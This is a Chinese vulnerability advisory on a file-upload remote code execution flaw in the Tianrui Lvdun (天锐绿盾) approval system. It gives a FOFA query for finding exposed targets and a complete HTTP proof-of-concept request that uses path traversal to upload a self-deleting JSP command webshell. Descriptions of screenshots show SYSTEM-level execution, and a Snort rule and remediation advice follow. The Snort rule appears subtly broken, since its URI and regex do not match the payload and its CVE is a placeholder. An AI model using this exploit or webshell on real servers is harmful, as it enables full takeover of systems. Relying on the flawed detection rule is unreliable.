

天锐绿盾审批系统 uploadWxFile.do 文件上传致RCE漏洞

天锐绿盾审批系统 uploadWxFile.do 文件上传致RCE漏洞，攻击者可通过上传恶意文件导致服务器被控制。

影响版本

天锐绿盾审批系统

漏洞状态

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级

维度	评价
威胁等级	高危
影响面	广
攻击者价值	高
利用难度	低

漏洞复现

FOFA：app="TIPPAY-绿盾审批系统"

POC/EXP：

```
POST /trwfe/service/.%2E/config/uploadwxFile.do HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryTqkdY1lCvbpvmown

-----WebKitFormBoundaryKljzbg49Mq4ggLz
Content-Disposition: form-data; name="file"; filename="rce.jsp"
Content-Type: application/octet-stream

<% java.io.InputStream in =
Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();int a =
-1;byte[] b = new byte[2048];out.print("<pre>");while((a=in.read(b))!=-1)
{out.println(new String(b,0,a));}out.print("</pre>");new
java.io.File(application.getRealPath(request.getServletPath())).delete();%>
-----WebKitFormBoundaryKljzbg49Mq4ggLz--
```

The image shows a Wireshark packet capture of the POST request. The left pane shows the packet list with packet 1 selected. The middle pane shows the packet details for the selected packet, including the request line, host, user-agent, content-type, and the body content. The right pane shows the raw packet data in hexadecimal and ASCII.

The image shows a Wireshark packet capture of the GET request. The left pane shows the packet list with packet 2 selected. The middle pane shows the packet details for the selected packet, including the request line, host, user-agent, content-type, and the body content. The right pane shows the raw packet data in hexadecimal and ASCII. A red box highlights the response body content, which is "nt authority\system".

sonrt规则:

```
alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (
  msg:"TianRui - JSP Webshell Upload via uploadwxFile.do (CVE-2025-XXXXX)";
  flow:to_server,established;
  content:"POST"; http_method;
  content:"/trwfe/service/./config/uploadwxFile.do"; http_uri;
  content:"filename=\"rce.jsp\""; http_client_body;
  pcre:"/<%[\\s]*java\\.io\\.InputStream\\.Runtime\\.getRuntime\\(\\)/i";
  metadata:cve CVE-2025-XXXXX;
  metadata:affected_product "天锐绿盾审批系统";
  metadata:vulnerability_type "webshell Upload";
  classtype:web-application-attack;
  sid:1000389;
  rev:1;
  priority:1;
)
```

漏洞修复

关闭互联网暴露面或接口设置访问权限

升级至安全版本。